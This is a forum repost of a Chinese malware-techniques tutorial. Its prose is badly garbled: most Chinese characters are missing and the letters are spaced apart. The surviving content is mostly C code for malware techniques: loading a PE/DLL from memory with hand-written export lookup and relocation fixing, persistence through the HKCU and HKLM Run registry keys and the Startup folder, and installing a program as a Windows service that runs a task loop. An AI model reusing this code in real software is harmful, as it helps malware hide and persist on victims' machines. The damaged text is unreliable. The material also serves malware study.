[20356] 2020-08-07_恶意代码分析系列-几种常用技术(3)

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-08-07_恶意代码分析系列-几种常用技术(3) - 3 K h a n   2 0 2 0 - 0 8 - 0 7   便 P E         使 W i n d o w s 使 P E               P E P E P E P E 1 .     P E   ,       . A P T D L L e x e L o a d L i b r a r y A P I D L L E X E L o a d L i b r a r y A P I D L L D L L D L L D L L S i z e o f I m a g e S i z e O f I m a g e D L L
2 .         ,     3 .   P E 4 .   P E       5 .   P E           P E       使       D L L P E S e c t i o n A l i g n m e n t D L L S e c t i o n A l i g n m e n t D L L D L L I m a g e B a s e D L L D l l M a i n D L L E X E D l l M a i n E X E A d d r e s s O f E n t r y P o i n t E X E E X E E X E E X E / /   G e t P r o c A d d r e s s D L L L P V O I D   M y G e t P r o c A d d r e s s ( L P V O I D   l p B a s e A d d r e s s ,   P C H A R   l p s z F u n c N a m e ) {     L P V O I D   l p F u n c   =   N U L L ;     / /       P I M A G E _ D O S _ H E A D E R   p D o s H e a d e r   =   ( P I M A G E _ D O S _ H E A D E R ) l p B a s e A d d r e s s ;     P I M A G E _ N T _ H E A D E R S   p N t H e a d e r s   =   ( P I M A G E _ N T _ H E A D E R S ) ( ( U L O N G 3 2 ) p D o s H e a d e r   +   p D o s H e a d e r - > e _ l f a n e w ) ;     P I M A G E _ E X P O R T _ D I R E C T O R Y   p E x p o r t T a b l e   =   ( P I M A G E _ E X P O R T _ D I R E C T O R Y ) ( ( D W O R D ) p D o s H e a d e r   +   p N t H e a d e r s - > O p t i o n a l H e a d e r . D a t a D i r e c t o r y [ I M A G E _ D I R E C T O R Y _ E N T R Y _ E X P O R T ] . V i r t u a l A d d r e s s ) ;     / /       P D W O R D   l p A d d r e s s O f N a m e s A r r a y   =   ( P D W O R D ) ( ( D W O R D ) p D o s H e a d e r   +   p E x p o r t T a b l e - > A d d r e s s O f N a m e s ) ;     P C H A R   l p F u n c N a m e   =   N U L L ;     P W O R D   l p A d d r e s s O f N a m e O r d i n a l s A r r a y   =   ( P W O R D ) ( ( D W O R D ) p D o s H e a d e r   +   p E x p o r t T a b l e - > A d d r e s s O f N a m e O r d i n a l s ) ;     W O R D   w H i n t   =   0 ;     P D W O R D   l p A d d r e s s O f F u n c t i o n s A r r a y   =   ( P D W O R D ) ( ( D W O R D ) p D o s H e a d e r   +   p E x p o r t T a b l e - > A d d r e s s O f F u n c t i o n s ) ;     D W O R D   d w N u m b e r O f N a m e s   =   p E x p o r t T a b l e - > N u m b e r O f N a m e s ;     D W O R D   i   =   0 ;
              R u n           D W O R D   i   =   0 ;     / /   ,       f o r   ( i   =   0 ;   i   <   d w N u m b e r O f N a m e s ;   i + + )     {         l p F u n c N a m e   =   ( P C H A R ) ( ( D W O R D ) p D o s H e a d e r   +   l p A d d r e s s O f N a m e s A r r a y [ i ] ) ;         i f   ( 0   = =   : : l s t r c m p i ( l p F u n c N a m e ,   l p s z F u n c N a m e ) )         {             / /               w H i n t   =   l p A d d r e s s O f N a m e O r d i n a l s A r r a y [ i ] ;             l p F u n c   =   ( L P V O I D ) ( ( D W O R D ) p D o s H e a d e r   +   l p A d d r e s s O f F u n c t i o n s A r r a y [ w H i n t ] ) ;             b r e a k ;         }     }     r e t u r n   l p F u n c ; } / /   P E B O O L   D o R e l o c a t i o n T a b l e ( L P V O I D   l p B a s e A d d r e s s ) {     / /       / /   D W O R D   s e c t i o n A d d r e s s ,   D W O R D   s i z e   ( )     / / 使     P I M A G E _ D O S _ H E A D E R   p D o s H e a d e r   =   ( P I M A G E _ D O S _ H E A D E R ) l p B a s e A d d r e s s ;     P I M A G E _ N T _ H E A D E R S   p N t H e a d e r s   =   ( P I M A G E _ N T _ H E A D E R S ) ( ( U L O N G 3 2 ) p D o s H e a d e r   +   p D o s H e a d e r - > e _ l f a n e w ) ;     P I M A G E _ B A S E _ R E L O C A T I O N   p L o c   =   ( P I M A G E _ B A S E _ R E L O C A T I O N ) ( ( u n s i g n e d   l o n g ) p D o s H e a d e r   +   p N t H e a d e r s - > O p t i o n a l H e a d e r . D a t a D i r e c t o r y [ I M A G E _ D I R E C T O R Y _ E N T R Y _ B A S E R E L O C ] . V i r t u a l A d d r e s s ) ;     / /         i f   ( ( P V O I D ) p L o c   = =   ( P V O I D ) p D o s H e a d e r )     {     / /             r e t u r n   T R U E ;     }     w h i l e   ( ( p L o c - > V i r t u a l A d d r e s s   +   p L o c - > S i z e O f B l o c k )   ! =   0 )   / /     {         W O R D   * p L o c D a t a   =   ( W O R D   * ) ( ( P B Y T E ) p L o c   +   s i z e o f ( I M A G E _ B A S E _ R E L O C A T I O N ) ) ;         / /         i n t   n N u m b e r O f R e l o c   =   ( p L o c - > S i z e O f B l o c k   -   s i z e o f ( I M A G E _ B A S E _ R E L O C A T I O N ) )   /   s i z e o f ( W O R D ) ;         f o r   ( i n t   i   =   0 ;   i   <   n N u m b e r O f R e l o c ;   i + + )         {             i f   ( ( D W O R D ) ( p L o c D a t a [ i ]   &   0 x 0 0 0 0 F 0 0 0 )   = =   0 x 0 0 0 0 3 0 0 0 )   / /             {                 / /   3 2 d l l I M A G E _ R E L _ B A S E D _ H I G H L O W                 / /   x 8 6 I M A G E _ R E L _ B A S E D _ H I G H L O W                 D W O R D *   p A d d r e s s   =   ( D W O R D   * ) ( ( P B Y T E ) p D o s H e a d e r   +   p L o c - > V i r t u a l A d d r e s s   +   ( p L o c D a t a [ i ]   &   0 x 0 F F F ) ) ;                 D W O R D   d w D e l t a   =   ( D W O R D ) p D o s H e a d e r   -   p N t H e a d e r s - > O p t i o n a l H e a d e r . I m a g e B a s e ;                 * p A d d r e s s   + =   d w D e l t a ;             }         }         / /         p L o c   =   ( P I M A G E _ B A S E _ R E L O C A T I O N ) ( ( P B Y T E ) p L o c   +   p L o c - > S i z e O f B l o c k ) ;     }     r e t u r n   T R U E ; } W I N A D V A P I   L S T A T U S A P I E N T R Y
W i n d o w s     R e g O p e n K e y E x W (         _ I n _   H K E Y   h K e y ,     / /           _ I n _ o p t _   L P C W S T R   l p S u b K e y ,   / /           _ I n _ o p t _   D W O R D   u l O p t i o n s ,     / /     0         _ I n _   R E G S A M   s a m D e s i r e d ,         / /   访 访         _ O u t _   P H K E Y   p h k R e s u l t             / /           ) ; W I N A D V A P I   L S T A T U S A P I E N T R Y R e g S e t V a l u e E x W (         _ I n _   H K E Y   h K e y ,     / /           _ I n _ o p t _   L P C W S T R   l p V a l u e N a m e ,   / /           _ R e s e r v e d _   D W O R D   R e s e r v e d ,         / /     0         _ I n _   D W O R D   d w T y p e ,                         / /           _ I n _ r e a d s _ b y t e s _ o p t _ ( c b D a t a )   C O N S T   B Y T E *   l p D a t a ,           / /           _ I n _   D W O R D   c b D a t a   / /   l p D a t a         ) ; H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n H K E Y _ L O C A L _ M A C H I N E H K E Y _ C U R R E N T _ U S E R B O O L   R e g C u r r e n t U s e r ( c h a r   * l p F i l e N a m e ,   c h a r   * l p V a l u e N a m e ) {     / /       H K E Y   h K e y ;     / /       R e g O p e n K e y E x ( H K E Y _ C U R R E N T _ U S E R ,   " S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n " ,   0 ,   K E Y _ W R I T E ,   & h K e y )     / /       R e g S e t V a l u e E x ( h K e y ,   l p s z V a l u e N a m e ,   0 ,   R E G _ S Z ,   ( B Y T E   * ) l p s z F i l e N a m e ,   ( 1   +   l s t r l e n ( l p s z F i l e N a m e ) ) )     / /       R e g C l o s e K e y ( h K e y ) ;     r e t u r n   T R U E ; } / /   B O O L   R e g L o c a l M a c h i n e ( c h a r   * l p F i l e N a m e ,   c h a r   * l p V a l u e N a m e ) {     / /       H K E Y   h K e y ;     / /       R e g O p e n K e y E x ( H K E Y _ L O C A L _ M A C H I N E ,   " S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n " ,   0 ,   K E Y _ W R I T E ,   & h K e y )     / /       R e g S e t V a l u e E x ( h K e y ,   l p s z V a l u e N a m e ,   0 ,   R E G _ S Z ,   ( B Y T E   * ) l p s z F i l e N a m e ,   ( 1   +   l s t r l e n ( l p s z F i l e N a m e ) ) )     / /       R e g C l o s e K e y ( h K e y ) ;     r e t u r n   T R U E ; } B O O L   S H G e t S p e c i a l F o l d e r P a t h A (
  使   W i n d o w s     B O O L   S H G e t S p e c i a l F o l d e r P a t h A (     H W N D     h w n d ,         / /       L P S T R   p s z P a t h ,   / /       i n t       c s i d l ,       / /   C S I D L     B O O L     f C r e a t e     / /   f a l s e   t r u e ) ; W i n d o w s S H G e t S p e c i a l F o l d e r P a t h C S I D L C S I D L _ S T A R T U P B O O L   A u t o R u n _ S t a r t u p ( c h a r   * l p s z S r c F i l e P a t h ,   c h a r   * l p s z D e s t F i l e N a m e ) {     B O O L   b R e t   =   F A L S E ;     c h a r   s z S t a r t u p P a t h [ M A X _ P A T H ]   =   { 0 } ;     c h a r   s z D e s t F i l e P a t h [ M A X _ P A T H ]   =   { 0 } ;     / /           b R e t   =   S H G e t S p e c i a l F o l d e r P a t h ( N U L L ,   s z S t a r t u p P a t h ,   C S I D L _ S T A R T U P ,   T R U E ) ;     p r i n t f ( " s z S t a r t u p P a t h = % s n " ,   s z S t a r t u p P a t h ) ;     i f   ( F A L S E   = =   b R e t )     {         r e t u r n   F A L S E ;     }     / /         w s p r i n t f ( s z D e s t F i l e P a t h ,   " % s % s " ,   s z S t a r t u p P a t h ,   l p s z D e s t F i l e N a m e ) ;     / /       b R e t   =   C o p y F i l e ( l p s z S r c F i l e P a t h ,   s z D e s t F i l e P a t h ,   F A L S E ) ;     i f   ( F A L S E   = =   b R e t )     {         r e t u r n   F A L S E ;     }     r e t u r n   T R U E ; } W I N A D V A P I   S C _ H A N D L E         / /   W I N A P I   O p e n S C M a n a g e r W (         _ I n _ o p t _           L P C W S T R                 l p M a c h i n e N a m e ,                 / /         _ I n _ o p t _           L P C W S T R                 l p D a t a b a s e N a m e ,               / /     S E R V I C E S _ A C T I V E _ D A T A B A S E         _ I n _                   D W O R D                     d w D e s i r e d A c c e s s         / /   访         ) ; W I N A D V A P I   S C _ H A N D L E         / /   W I N A P I   C r e a t e S e r v i c e W (         _ I n _                 S C _ H A N D L E         h S C M a n a g e r ,         / /           _ I n _                 L P C W S T R           l p S e r v i c e N a m e ,     / /           _ I n _ o p t _         L P C W S T R           l p D i s p l a y N a m e ,     / /           _ I n _                 D W O R D                 d w D e s i r e d A c c e s s ,   / /   访         _ I n _                 D W O R D                 d w S e r v i c e T y p e ,       / /           _ I n _                 D W O R D                 d w S t a r t T y p e ,         / /           _ I n _                 D W O R D                 d w E r r o r C o n t r o l ,           / /           _ I n _ o p t _         L P C W S T R           l p B i n a r y P a t h N a m e ,         / /   便         _ I n _ o p t _         L P C W S T R           l p L o a d O r d e r G r o u p ,   / /           _ O u t _ o p t _       L P D W O R D             l p d w T a g I d ,     / /           _ I n _ o p t _         L P C W S T R           l p D e p e n d e n c i e s ,           / /             _ I n _ o p t _         L P C W S T R           l p S e r v i c e S t a r t N a m e ,   / /           _ I n _ o p t _         L P C W S T R           l p P a s s w o r d   / /   l p S e r v i c e S t a r t N a m e         ) ; W I N A D V A P I   S C _ H A N D L E         / /   W I N A P I   O p e n S e r v i c e W (         _ I n _     S C _ H A N D L E     h S C M a n a g e r ,           / /   S C M         _ I n _     L P C W S T R         l p S e r v i c e N a m e ,     / /           _ I n _     D W O R D             d w D e s i r e d A c c e s s   / /           ) ; W I N A D V A P I   B O O L         / /  
                                  / /   W I N A P I   S t a r t S e r v i c e W (         _ I n _                         S C _ H A N D L E                         h S e r v i c e ,         / /   O p e n S e r v i c e C r e a t e S e r v i c e S E R V I C E _ S T A R T         _ I n _                         D W O R D                                 d w N u m S e r v i c e A r g s ,         / /           _ I n _ r e a d s _ o p t _ ( d w N u m S e r v i c e A r g s )                                         L P C W S T R                           * l p S e r v i c e A r g V e c t o r s         / /   S e r v i c e M a i n N U L L         ) ; W I N A D V A P I   B O O L         / /   线 线 线 W I N A P I   S t a r t S e r v i c e C t r l D i s p a t c h e r W (         _ I n _   C O N S T     S E R V I C E _ T A B L E _ E N T R Y W         * l p S e r v i c e S t a r t T a b l e         / /   S E R V I C E _ T A B L E _ E N T R Y         ) ; O p e n S C M a n a g e r W I N A D V A P I   S C _ H A N D L E         / /   W I N A P I   O p e n S C M a n a g e r W (         _ I n _ o p t _           L P C W S T R                 l p M a c h i n e N a m e ,                 / /         _ I n _ o p t _           L P C W S T R                 l p D a t a b a s e N a m e ,               / /     S E R V I C E S _ A C T I V E _ D A T A B A S E         _ I n _                   D W O R D                     d w D e s i r e d A c c e s s         / /   访         ) ; W I N A D V A P I   S C _ H A N D L E         / /   W I N A P I   C r e a t e S e r v i c e W (         _ I n _                 S C _ H A N D L E         h S C M a n a g e r ,         / /           _ I n _                 L P C W S T R           l p S e r v i c e N a m e ,     / /           _ I n _ o p t _         L P C W S T R           l p D i s p l a y N a m e ,     / /           _ I n _                 D W O R D                 d w D e s i r e d A c c e s s ,   / /   访         _ I n _                 D W O R D                 d w S e r v i c e T y p e ,       / /           _ I n _                 D W O R D                 d w S t a r t T y p e ,         / /           _ I n _                 D W O R D                 d w E r r o r C o n t r o l ,           / /           _ I n _ o p t _         L P C W S T R           l p B i n a r y P a t h N a m e ,         / /   便         _ I n _ o p t _         L P C W S T R           l p L o a d O r d e r G r o u p ,   / /           _ O u t _ o p t _       L P D W O R D             l p d w T a g I d ,     / /           _ I n _ o p t _         L P C W S T R           l p D e p e n d e n c i e s ,           / /             _ I n _ o p t _         L P C W S T R           l p S e r v i c e S t a r t N a m e ,   / /           _ I n _ o p t _         L P C W S T R           l p P a s s w o r d   / /   l p S e r v i c e S t a r t N a m e         ) ; W I N A D V A P I   S C _ H A N D L E         / /   W I N A P I   O p e n S e r v i c e W (         _ I n _     S C _ H A N D L E     h S C M a n a g e r ,           / /   S C M         _ I n _     L P C W S T R         l p S e r v i c e N a m e ,     / /           _ I n _     D W O R D             d w D e s i r e d A c c e s s   / /           ) ; W I N A D V A P I   B O O L         / /   W I N A P I   S t a r t S e r v i c e W (         _ I n _                         S C _ H A N D L E                         h S e r v i c e ,         / /   O p e n S e r v i c e C r e a t e S e r v i c e S E R V I C E _ S T A R T         _ I n _                         D W O R D                                 d w N u m S e r v i c e A r g s ,         / /  
  线             _ I n _ r e a d s _ o p t _ ( d w N u m S e r v i c e A r g s )                                         L P C W S T R                           * l p S e r v i c e A r g V e c t o r s         / /   S e r v i c e M a i n N U L L         ) ; W I N A D V A P I   B O O L         / /   线 线 线 W I N A P I   S t a r t S e r v i c e C t r l D i s p a t c h e r W (         _ I n _   C O N S T     S E R V I C E _ T A B L E _ E N T R Y W         * l p S e r v i c e S t a r t T a b l e         / /   S E R V I C E _ T A B L E _ E N T R Y         ) ; S t a r t S e r v i c e C t r l D i s p a t c h e r S t a r t S e r v i c e C t r l D i s p a t c h e r S e r v i c e M a i n v o i d   _ _ s t d c a l l   S e r v i c e M a i n ( D W O R D   d w A r g c ,   c h a r   * l p s z A r g v ) {     g _ S e r v i c e S t a t u s H a n d l e   =   R e g i s t e r S e r v i c e C t r l H a n d l e r ( g _ s z S e r v i c e N a m e ,   S e r v i c e C t r l H a n d l e ) ;     T e l l S C M ( S E R V I C E _ S T A R T _ P E N D I N G ,   0 ,   1 ) ;     T e l l S C M ( S E R V I C E _ R U N N I N G ,   0 ,   0 ) ;     w h i l e   ( T R U E )     {         S l e e p ( 5 0 0 0 ) ;         D o T a s k ( ) ;     } }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则